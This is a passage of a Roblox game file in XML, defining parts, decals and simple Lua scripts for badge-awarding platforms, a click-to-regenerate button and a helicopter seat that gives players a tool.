				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>28</X>
					<Y>13.2000008</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX4869">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX4870">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-1086</X>
						<Y>7.4000001</Y>
						<Z>706</Z>
						<R00>-0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX4871">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52673856</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX4872">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX4873">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52673914</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX4874">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX4875">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-1102</X>
						<Y>7.4000001</Y>
						<Z>707</Z>
						<R00>-0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX4876">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52611821</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX4877">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX4878">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52611883</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX4879">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX4880">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-1168</X>
						<Y>27.8000011</Y>
						<Z>776</Z>
						<R00>-0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX4881">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52611821</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX4882">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX4883">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52611883</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX4884">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>-1002</X>
					<Y>12.6000004</Y>
					<Z>859</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>13.2000008</Y>
					<Z>26</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX4885">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX4886">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-1147</X>
						<Y>27.3999996</Y>
						<Z>808</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX4887">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX4888">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX4889">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX4890">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX4891">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Heli2</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX4892">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Helicopter</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX4893">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Parts</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Seat" referent="RBX4894">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">199</int>
								<CoordinateFrame name="CFrame">
									<X>-1164.5</X>
									<Y>29.8000031</Y>
									<Z>808.5</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">2</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Seat</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>1.87310278e-010</X>
									<Y>1.82058138e-005</Y>
									<Z>1.03550606e-011</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.00184947252</X>
									<Y>0.00490040984</Y>
									<Z>-0.019018922</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>2</X>
									<Y>0.400000006</Y>
									<Z>2</Z>
								</Vector3>
							</Properties>
							<Item class="Script" referent="RBX4895">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<ProtectedString name="Source">function onDie()
	human = nil
	script.Parent.Parent.Parent:BreakJoints()
	wait(5)
	script.Parent.Parent.Parent:Remove()
end

function Child(c)
	if c.Name == &quot;SeatWeld&quot; and c.Part1.Name == &quot;Torso&quot; then
		human = c.Part1.Parent
		script.Parent.Parent.Parent.Parent = human
		human.Humanoid.Died:connect(onDie)
	end
end

function noChild()
	human = nil
	script.Parent.Parent.Parent.Parent = game.Workspace
end

script.Parent.ChildAdded:connect(Child)
script.Parent.ChildRemoved:connect(noChild)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX4896">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<ProtectedString name="Source">function onChildAdded(child)
if child.Name == &quot;SeatWeld&quot; then
if child.Part1.Name == &quot;Torso&quot; then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player ~= nil then
tool = game.Lighting.Helicopter:Clone() -- Change this to whatever it is
tool.Parent = player.Backpack
end
end
end
end

function onChildRemoved()
if tool ~= nil then
tool:Remove()
end
end

script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)

-- Put it in the seat you want to give a tool.
</ProtectedString>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX4897">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">24</int>
								<CoordinateFrame name="CFrame">
									<X>-1164.5</X>
									<Y>29.1000023</Y>
									<Z>811.5</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Engine</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>1.87310278e-010</X>
									<Y>1.82058138e-005</Y>
									<Z>1.03550606e-011</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.00179485511</X>
									<Y>0.00490040937</Y>
									<Z>-0.019018922</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>5</X>
									<Y>1</Y>
									<Z>15</Z>
								</Vector3>
							</Properties>
							<Item class="BodyGyro" referent="RBX4898">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="D">500</float>
									<string name="Name">BodyGyro</string>
									<float name="P">3000</float>
									<CoordinateFrame name="cframe">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<Vector3 name="maxTorque">
										<X>8.99999949e+009</X>
										<Y>8.99999949e+009</Y>
										<Z>8.99999949e+009</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="BodyVelocity" referent="RBX4899">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">BodyVelocity</string>
									<float name="P">1250</float>
									<Vector3 name="maxForce">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Fire" referent="RBX4900">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4278190335</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294967295</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX4901">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">24</int>
								<CoordinateFrame name="CFrame">
									<X>-1169.5</X>
									<Y>30.1000023</Y>
									<Z>811</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Gun3</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>1.87310278e-010</X>
									<Y>1.82058138e-005</Y>
									<Z>1.03550606e-011</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.00180395809</X>
									<Y>0.00490040937</Y>
									<Z>-0.0189278927</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>2</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Part" referent="RBX4902">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">24</int>
								<CoordinateFrame name="CFrame">
									<X>-1172.5</X>
									<Y>30.1000023</Y>
									<Z>811</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
